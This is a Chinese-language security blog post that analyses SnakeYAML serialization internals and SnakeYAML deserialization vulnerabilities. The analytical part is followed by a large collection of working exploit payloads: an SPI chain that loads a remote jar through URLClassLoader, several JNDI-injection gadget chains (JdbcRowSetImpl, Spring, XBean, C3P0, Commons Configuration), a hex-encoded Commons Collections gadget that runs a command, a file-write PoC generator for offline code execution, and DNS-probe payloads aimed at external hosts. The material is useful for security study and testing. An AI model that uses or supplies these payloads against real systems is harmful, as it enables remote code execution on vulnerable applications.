https://drun1baby.top/2022/10/16/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-SnakeYaml-%E9%93%BE/
从HertzBeat聊聊SnakeYAML反序列化 | 离别歌
SnakeYaml反序列化原理分析和利用总结-先知社区
SnakeYaml 之不出网RCE-先知社区
SnakeYaml 是 Java 的 yaml 解析类库,支持 Java 对象的序列化/反序列化。我们先了解一下 yaml 语法:
- YAML 大小写敏感;
- 使用缩进代表层级关系,这点和 properties 文件的差别非常之大
- 缩进只能使用空格,不能使用 TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
SnakeYaml序列化与反序列化
1 2 3 4 5
| <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
|
SnakeYaml 提供了 Yaml.dump() 和 Yaml.load() 两个函数对 yaml 格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象;
- Yaml.dump():将一个对象转化为 yaml 文件形式;
dump 是序列化,load 是反序列化,这和 Python Pickle 反序列化的一样的
下面给出demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import org.yaml.snakeyaml.Yaml; public class person_test { public static void serialize(){ Person person = new Person(); person.setName("Meteor_Kai"); person.setAge(20); Yaml yaml = new Yaml(); String str = yaml.dump(person); System.out.println(str); } public static void main(String[] args) { serialize(); } }
|
反序列化代码如下:
1 2 3 4 5 6 7 8
| public static void unserialize(){ String str1 = "!!Person {age: 20, name: Meteor_Kai}"; String str2 = "age: 20\n" + "name: Meteor_Kai"; Yaml yaml = new Yaml(); yaml.load(str1); yaml.loadAs(str2, Person.class); }
|
在反序列化之前,我们更改一下Person.java的代码。如果一个库的反序列化方法,能够自动调用 getter/setter 方法,那无疑是很危险的,比如 Fastjson hh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package SerializeTest; public class Person { private String name; private Integer age; public Person() { System.out.println("构造函数被调用"); } public void printInfo(){ System.out.println("name is " + this.name + "age is" + this.age); } public String getName() { System.out.println("getName 方法被调用"); return name; } public void setName(String name) { System.out.println("setName 方法被调用"); this.name = name; } public Integer getAge() { System.out.println("getAge 方法被调用"); return age; } public void setAge(Integer age) { System.out.println("setAge 方法被调用"); this.age = age; } }
|
这一幕,神似fastjson。很明显,调用了 setter 方法,如果我把反序列化的语句改成 "!!SerializeTest.Person {name: Meteor_Kai}",那么就只会调用 setter 中的 setName 方法
调试分析
序列化
我们首先跟进dump方法,进入序列化的过程。
它先是 new 了一个 ArrayList,准备将之后序列化完成的数据存储到这个 ArrayList 里面。这个list中首先存放最初的要被序列化的对象。然后跟进dumpAll方法。
它是在做 dump() 的业务,把 Java 对象转换为 Yaml 类型的字符串。dumpAll的参数data是对象的迭代器。此处其实就是将迭代器中的数据“转储(Dump)”成字符串。buffer是缓冲区,存储java对象转换之后的字符串。然后继续跟进this.dumpAll方法,里面是具体的业务。
这里首先new了一个Serializer对象,Serializer 对象里面放了一个 Emitter 对象。这个方法的作用就是把一个 Java 对象迭代器里的所有元素,序列化成 YAML 格式的字符串,写入到输出流中。
1 2 3 4 5 6
| Serializer serializer = new Serializer( new Emitter(output, this.dumperOptions), this.resolver, this.dumperOptions, rootTag );
|
Emitter负责真正写字符到 Writer 中,处理缩进、换行、冒号等 YAML 语法格式。while循环中的representer把 Java 对象(比如 Person 对象、Map、List)转换成 SnakeYAML 内部的 Node(节点)树结构。然后由serializer将node按照 YAML 语法,通过 Emitter 写入到 Writer 中。
接下来我们跟进一下represent方法。对象通过representData方法被转换成node。
那么继续跟进representData方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| protected final Node representData(Object data) { this.objectToRepresent = data; if (this.representedObjects.containsKey(this.objectToRepresent)) { Node node = (Node)this.representedObjects.get(this.objectToRepresent); return node; } else if (data == null) { Node node = this.nullRepresenter.representData((Object)null); return node; } else { Class<?> clazz = data.getClass(); Node node; if (this.representers.containsKey(clazz)) { Represent representer = (Represent)this.representers.get(clazz); node = representer.representData(data); } else { for(Class<?> repr : this.multiRepresenters.keySet()) { if (repr != null && repr.isInstance(data)) { Represent representer = (Represent)this.multiRepresenters.get(repr); node = representer.representData(data); return node; } } if (this.multiRepresenters.containsKey((Object)null)) { Represent representer = (Represent)this.multiRepresenters.get((Object)null); node = representer.representData(data); } else { Represent representer = (Represent)this.representers.get((Object)null); node = representer.representData(data); } } return node; } }
|
这个方法其实在给定一个 Java 对象,按照“查缓存 → 精确匹配 → 父类/接口匹配 → 默认匹配”的顺序,找到对应的“翻译器(Represent)”,把对象转换成 Node 节点。
此处我们的Person.class会进入最后的默认匹配,因为这是我们自定义的类,它找不到翻译器representer。所以就会获取默认的翻译器representer(RepresentJavaBean)来处理我们的自定义类。
然后我们继续跟进representer.representData(data)。这里其实就是跟进到RepresentJavaBean的representData方法。
发现它直接return一个representJavaBean,这里其实就是接收一个自定义对象(data),获取该类的所有属性信息,然后调用 representJavaBean 方法把这些属性和值转换成 YAML 节点。继续跟进。
此处是SnakeYAML 处理自定义类的“核心引擎”。通过反射遍历 JavaBean 的所有属性,把每个属性名和属性值转换成 YAML 的键值对(NodeTuple),最终组装成一个 MappingNode(即 YAML 里的 key: value 映射结构)
此处的for循环是遍历Person类中的所有属性,利用representJavaBeanProperty方法逐个处理。
然后我们跟进representJavaBeanProperty方法。这里负责把一个 JavaBean 的属性(比如 Person.name)转换成 YAML 的键值对(name: "张三"),并处理各种边界情况(别名、枚举、泛型等)。
nodeKey是键,nodeValue是值。if循环负责处理各种特殊情况。下面稍微解释一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if (propertyValue != null && !hasAlias) { NodeId nodeId = nodeValue.getNodeId(); if (customTag == null) { if (nodeId == NodeId.scalar) { if (property.getType() != Enum.class && propertyValue instanceof Enum) { nodeValue.setTag(Tag.STR); } } else { if (nodeId == NodeId.mapping && property.getType() == propertyValue.getClass() && !(propertyValue instanceof Map) && !nodeValue.getTag().equals(Tag.SET)) { nodeValue.setTag(Tag.MAP); } this.checkGlobalTag(property, nodeValue, propertyValue); } } }
|
最后返回一个组装后的NodeTuple,跟进看看结构。
大致的工作流程就是如上所示,最后我们的键值对会保存到 list 当中
经过逐个处理后会添加到value中。最终representJavaBean会返回一个node(MappingNode)。
然后再回到先前的dumpAll方法,对返回的node进行序列化操作,并由Emiiter写入output并输出。
反序列化
打好断点,跟进load方法。
在 load() 方法中会先 new 一个 StreamReader,将 yaml 数据通过构造函数赋给 StreamReader,再调用 loadFromReader() 方法。
跟进loadFromReader方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private Object loadFromReader(StreamReader sreader, Class<?> type) { Composer composer = new Composer( new ParserImpl(sreader), this.resolver, this.loadingConfig ); this.constructor.setComposer(composer); return this.constructor.getSingleData(type); }
|
Composer 是 SnakeYAML 的语法树构建器,它把 YAML 的“事件流”转换成“节点树”。
接着我们跟进getSingleData方法,此处的type是Object类。它先创建一个 Node 对象(其中调用 getSingleNote() 会根据流来生成一个文件,即将字符串按照 yaml 语法转为 Node 对象),然后判断当前 Node 是否为空且是否 Tag 为空,若不是则判断 yaml 格式数据的类型是否为 Object 类型、是否有根标签,这里都判断不通过,最后返回调用 constructDocument() 方法的结果。
我们先跟进一下composer.getSingleNode方法看看。最终返回了一个MappingNode。
我们继续跟进一下 constructDocument() 方法。constructDocument() 方法的最终目的是构建一个完整的 YAML 文件,如果文件是递归结构,再进行二次处理(这里的递归结构其实就是我后面会讲的 [!!] 这个)。
主要逻辑在constructObject方法,我们跟进看看。
1 2 3
| protected Object constructObject(Node node) { return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node); }
|
这里其实就是检查缓存,看node是否已经被构建过了,没有被处理的话我们进入constructObjectNoCheck方法。它负责把一个 Node 节点真正变成 Java 对象,同时处理循环引用、两步构造等复杂场景。
先检查循环引用,再获取对应的构造器,实例化对象并缓存,最后处理两步构造(如集合、自定义对象)。
什么是“两步构造”?
有些对象不能一步构造完成,需要先创建空对象,再填充属性。比如:
Map 对象:先创建 HashMap,再逐个添加键值对
- 自定义对象:先通过反射创建实例,再逐个设置字段值
- 集合对象:先创建
ArrayList,再逐个添加元素
流程:
- 第一步(
construct):创建空对象(如 new HashMap())
- 第二步(
construct2ndStep):填充数据(如 map.put("key", value))
然后我们跟进constructor.construct,实例化对象的部分。
这里的this是ConstructYamlObject。
我们先跟进getConstructor方法看看。它的职责是:根据节点的类型(NodeId)找到对应的构造器(Construct),并确保节点的 Java 类型被正确设置。
然后我们跟进getClassForNode方法
继续跟进getClassForName方法,它是通过反射,给 Node 节点选取合适的构造类。同时此处可以初始化静态块里面的函数,这是一个很值得被注意的点。
然后我们就能成功获取到对应的构造器。
接着进入构造器的construct方法。这里是反序列化的终极工厂,负责把 MappingNode(YAML 的键值对结构)转换成 Java 对象。它处理了三种情况:Map、Set、自定义 JavaBean。
此处我们的Person类肯定是自定义JavaBean,那么进入的就是else部分。
实例化后要判断是否进行第二步构造,第一步其实就是构造出了一个Person对象的空壳,属性值都是null,然后我们要进入constructJavaBean2ndStep方法进行二次构造。
其中会获取 yaml 格式数据中的属性的键值对,然后调用 propert.set() 来设置新建的目标对象的属性值。
然后这个方法最终会返回一个object对象,就是经过第二步构造的完整对象。
至此,反序列化部分结束。
一个坑点
修改了 Person.java,新增一个 public 的 school 以及 protected 的 province。在序列化的时候发现,getSchool 这个方法没被调用。反序列化的时候setSchool也没有被调用。
在反序列化的最后一步,会调用 propert.set() 来设置新建的目标对象的属性值
而这个 Property 的设置在org.yaml.snakeyaml.introspector.PropertyUtils#getPropertiesMap
我们跟进getProperty方法
然后我们会逐步跟进到getPropertiesMap方法处
可以看到这个如果是 Public 修饰的话,这意味着:SnakeYAML 会把这个字段当作可访问的属性,直接通过反射读写它,不需要 getter/setter!public 字段 → 直接加入 Property 缓存。
SnakeYaml反序列化漏洞之SPI链
比较类似于 Fastjson 的漏洞,这里的 !! 就是 Fastjson 漏洞里面的 @type
与 Fastjson 不同的是,Fastjson 可以调用的 getter/setter 方法的攻击面很宽,而 SnakeYaml 只能够调用非 public,static 以及 transient 作用域的 setter 方法
利用 SPI 机制 - 基于 ScriptEngineManager 利用链
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| newInstance:396, Class (java.lang) nextService:380, ServiceLoader$LazyIterator (java.util) next:404, ServiceLoader$LazyIterator (java.util) next:480, ServiceLoader$1 (java.util) initEngines:122, ScriptEngineManager (javax.script) init:84, ScriptEngineManager (javax.script) <init>:75, ScriptEngineManager (javax.script) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor) construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:450, Yaml (org.yaml.snakeyaml) load:369, Yaml (org.yaml.snakeyaml) main:10, Demo (BasicKnow.SnakeymlUnser)
|
exp使用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class SPInScriptEngineManager { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager " + "[!!java.net.URLClassLoader " + "[[!!java.net.URL [\"http://xcdi1rgv45xnlhko7su6y8n22t8kwakz.oastify.com\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [ [ !!java.net.URL ["http://..."] ] ] ]
|
成功接收到URLDNS请求
但是这个 EXP 只能简单的进行探测,如果要打的话,可以用这一个 Github 项目:GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads · GitHub
直接修改代码即可,脚本也比较简单,就是实现了 ScriptEngineFactory 接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到 vps 端,使用 payload 进行反序列化后请求到该位置,实现 java.net.URLClassLoader 调用远程的类进行执行命令。
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
打包后开启http服务
1 2 3 4 5 6 7 8 9 10 11
| import org.yaml.snakeyaml.Yaml; public class scriptenginemanager_exp { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager " + "[!!java.net.URLClassLoader " + "[[!!java.net.URL [\"http://localhost:8888/yaml-payload.jar\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
SPI机制
SPI 以及 ScriptEngineManager 最早是在 SpEL 表达式里面被提到的,这里再复习一下。
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
那么如果需要使用 SPI 机制需要在 Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
实现细节:程序会通过 java.util.ServiceLoder 动态装载实现模块,在 META-INF/services 目录下的配置文件寻找实现类的类名,通过 Class.forName 加载进来, newInstance() 反射创建对象,并存到缓存和列表里面。
漏洞分析
这里我们直接从 org.yaml.snakeyaml.constructor.Constructor#getClassForName() 这里开始看,去理解 SPI 机制造成的攻击。这里会加载类并返回,最后返回我们的ScriptEngineManager类,并获取其构造器constructor。
然后我们继续跟进construct方法,也就是我们先前获取到的构造器的construct方法。
经过一些简单的判断后,我们进入else部分(自定义Sequence)
我们先new一个ArrayList。然后为 YAML 序列(snode)寻找一个“参数数量匹配”的 Java 构造器。而后将获取到的 possibleConstructors 获取到的第一个数组进行赋值并转换成 Constructor 类型。
之后,对 c 进行实例化,我们可以跟进看一下,后续也都是一串 newInstance() 的调用,快进一下,直接到 newInstance0 这里
一开始加载的是 URL 类的,因为我们的 EXP 里面包含了三个类,这就和 Fastjson 的 AutoType 是一样的,前两个类作为第三个类的缓存。
接着,当执行完 newInstance() 的时候,会到 ScriptEngineManager 里面,触发 SPI 机制,然后触发恶意代码。
SnakeYaml反序列化漏洞的Gadgets
SPI
先看看上面SPI链:
1 2 3 4 5 6 7 8 9
| !!javax.script.ScriptEngineManager # 外部对象:脚本引擎管理器 [ # 这是向 ScriptEngineManager 构造器传递的参数 !!java.net.URLClassLoader # 参数对象:URL类加载器 [ # 这是向 URLClassLoader 构造器传递的参数 [ # 注意:这里多了一层方括号,实际上是 URL 数组 !!java.net.URL ["http://localhost:8888/yaml-payload.jar"] ] ] ]
|
这里的 [!! 是作为 javax.script.ScriptEngineManager 的属性的,就等于我调用了 javax.script.ScriptEngineManager 这个类,其实我是在调用它的构造函数
相当于上图的loader参数其实是我们的URLClassLoader
那么后面的 java.net.URL 呢,它是 [[!! 打头,说明是 URLClassLoder 的内部属性,我们可以去看 URLClassLoader 的构造函数,它要求我们传入一个 URL 类,所以 EXP 是这么来的
JdbcRawSetImpl
调用链比较简单,尾部是 JNDI 注入,是在 com.sun.rowset.JdbcRowSetImpl 的 connect() 方法
熟悉的jndi注入,查找用法发现setAutoCommit方法,是可被利用的setter方法。
调用链如下:
1 2 3
| JdbcRowSetImpl#setAutoCommit JdbcRowSetImpl#connect InitialContext#lookup
|
exp如下:
1 2 3 4 5
| String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";
String payload = "!!com.sun.rowset.JdbcRowSetImpl\n" + " dataSourceName: \"rmi://127.0.0.1:1099/hello\"\n" + " autoCommit: true";
|
同时,我们要去触发的恶意 dataSource 属性的作用域是private,所以可用
Spring PropertyPathFactoryBean
exp如下:
1 2 3 4 5 6 7 8 9 10 11
| public class SpringPropertyPathFactoryBeanEXP { public static void main(String[] args) { String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"ldap://localhost:1099/Exploit\"\n" + " propertyPath: Meteor_Kai\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"ldap://localhost:1099/Exploit\"]"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
注意此处漏洞利用需要添加pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.27</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.27</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.3.27</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.27</version> </dependency>
|
触发点在此处,我们把beanFactory设置成SimpleJndiBeanFactory即可触发到。
设置targetBeanName为ldap://localhost:1099/Exploit。同时注意满足上面的if语句,propertyPath不为null。beanFactory.isSingleton要为true。
所以让shareableResources跟targetBeanName一样即可。
然后最后触发jndi注入的地方如下:
展示:
Apache XBean
1 2 3 4 5
| <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.20</version> </dependency>
|
在 ContextUtil 的内部类 ReadOnlyBinding 里面的 getObject() 方法里面,调用了 ContextUtil.resolve()
然后我们在其中发现了一个 Jndi 注入的注入点
开始构造exp:
1 2 3 4
| String payload = "!!javax.management.BadAttributeValueExpException " + "[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " + "[\"Drunkbaby\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]," + "!!org.apache.xbean.naming.context.WritableContext []]]";
|
接下来我们可以分析一下,逐步构造payload
reference从resolve的value参数而来,而value参数是构造函数的第二个参数。
那么我们首先可以构造初步的payload:
1 2
| String payload = " !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " + "[ \"Meteor_Kai\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]]";
|
但是我们无法触发getValue啊,setter才能触发。
这里就用到了 BadAttributeValueExpException 这个类
其中接受object参数,后触发val.toString()方法。那就是触发ReadOnlyBinding的toString方法,然后我们看看源码。发现其继承自Binding类,同时Binding类中存在toString方法且调用了getObject,完美闭环。
构造exp:
1 2 3 4
| String payload = "!!javax.management.BadAttributeValueExpException" + " [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding" + " [\"Meteor_Kai\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]," + "!!org.apache.xbean.naming.context.WritableContext []]]";
|
C3P0 JndiRefForwardingDataSource
exp如下:
跟fastjson反序列化的几乎是一模一样的。
1 2 3 4 5 6 7 8 9
| public class C3P0JndiRefForwardingDataSourceEXP { public static void main(String[] args) { String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + " jndiName: \"rmi://localhost:1099/Exploit\"\n" + " loginTimeout: 1"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
C3P0 WrapperConnectionPoolDataSource
同样也是 C3P0 的一条链子,使用了hexbase攻击。
exp如下:
1 2
| String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + " userOverridesAsString: \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400094d6574656f724b61697372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65707400096765744d6574686f64757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001c7371007e00137571007e0018000000027070740006696e766f6b657571007e001c00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e00137571007e00180000000174000463616c63740004657865637571007e001c0000000171007e001f7371007e00003f4000000000000c77080000001000000000787871007e000678;\"";
|
这里的hex值通过c3p0链的脚本获得,要结合cc链。注意不能大写,要小写才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class myexp_hexbase { public static Map CC6() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashmap=new HashMap<>(); Map lazymap= LazyMap.decorate(hashmap,new ConstantFactory(1)); TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"MeteorKai"); HashMap<Object,Object>expmap=new HashMap<>(); expmap.put(tiedmapentry,"MeteorKai"); lazymap.remove("MeteorKai"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazymap, chainedTransformer); return expmap; } public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); return out; } public static void main(String[] args) throws Exception { String hex_payload = toHexAscii(tobyteArray(CC6()));
"\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex_payload + ";\"," + "}" + "}"; JSON.parse(payload); System.out.println(hex_payload); }
}
|
Apache Commons Configuration
依赖
1 2 3 4 5
| <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>
|
exp如下:
1
| payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/hello\"]]: 1";
|
然后我们顺着分析一下调用链:
ConfigurationMap中存在put方法,其中调用configuration.getProperty
我们把configuration设置为JNDIConfiguration,然后跟进JNDIConfiguration#getProperty。
发现其中存在lookup!一眼jndi注入。但是实际上我们的注入点不在这里,因为key是null啊!我们跟进getBaseContext方法。发现其中也存在lookup,且后面的值是我们可控的this.prefix
我们需要通过构造函数设置context为javax.naming.InitialContext,以及prefix为jndi的payload。
然后就是如何触发ConfigurationMap的put方法了。这个点我们在CC链遇到过。当 SnakeYAML 反序列化一个 Map 类型的对象,并且遇到 key: value 这样的键值对时,它会调用 Map.put(key, value) 来填充数据。
那么就可以构造exp了:
1 2 3 4 5 6 7 8 9 10
| payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/hello\"]]: 1";
!!org.apache.commons.configuration.ConfigurationMap [ !!org.apache.commons.configuration.JNDIConfiguration [ !!javax.naming.InitialContext [], "rmi://127.0.0.1:1099/hello" ] ]: 1
|
这里其实有个疑问,为什么!!javax.naming.InitialContext []需要加上[],无参构造不是省略就行了嘛?问AI得到如下:
利用fastjson1.2.68写文件
先看看fastjson的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { '@type':"java.lang.AutoCloseable", '@type':'sun.rmi.server.MarshalOutputStream', 'out': { '@type':'java.util.zip.InflaterOutputStream', 'out': { '@type':'java.io.FileOutputStream', 'file':'1.txt', 'append':false }, 'infl': { 'input':'你的内容的base64编码' }, 'bufLen':1048576 }, 'protocolVersion':1 }
|
我们改写成yaml的格式:
1
| !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]
|
Destpath是目的路径,base64str为经过zlib压缩过后的文件内容
注意一定要zlib压缩
1
| cat yaml-payload.jar | openssl zlib | base64 -w 0
|
这里给出一个好用的poc生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import org.yaml.snakeyaml.Yaml;
import java.io.*; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.zip.Deflater;
public class SnakeYamlOffInternet { public static void main(String [] args) throws Exception { String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar"); Yaml yaml = new Yaml(); yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception { File file = new File(SrcPath); Long FileLength = file.length(); byte[] FileContent = new byte[FileLength.intValue()]; try{ FileInputStream in = new FileInputStream(file); in.read(FileContent); in.close(); } catch (FileNotFoundException e){ e.printStackTrace(); } byte[] compressbytes = compress(FileContent); String base64str = Base64.getEncoder().encodeToString(compressbytes); String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]"; System.out.println(poc); return poc; }
public static byte[] compress(byte[] data) { byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset(); compresser.setInput(data); compresser.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); try { byte[] buf = new byte[1024]; while (!compresser.finished()) { int i = compresser.deflate(buf); bos.write(buf, 0, i); } output = bos.toByteArray(); } catch (Exception e) { output = data; e.printStackTrace(); } finally { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } compresser.end(); return output; } }
|
SnakeYaml的探测
这其实用之前的 SPI 机制的链子就可以,我这里就不放了,说一下万一 SPI 机制被 ban 的情况下,如何绕过
1
| String payload = "{!!java.net.URL [\"http://e3izs87cvmo4cyb5y9lnppejtaz2nsbh.oastify.com/\"]: 1}";
|
1
| String payload = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://dl2ya7pbdl63uxt4g83m7owib9h25tti.oastify.com\"]: 1}";
|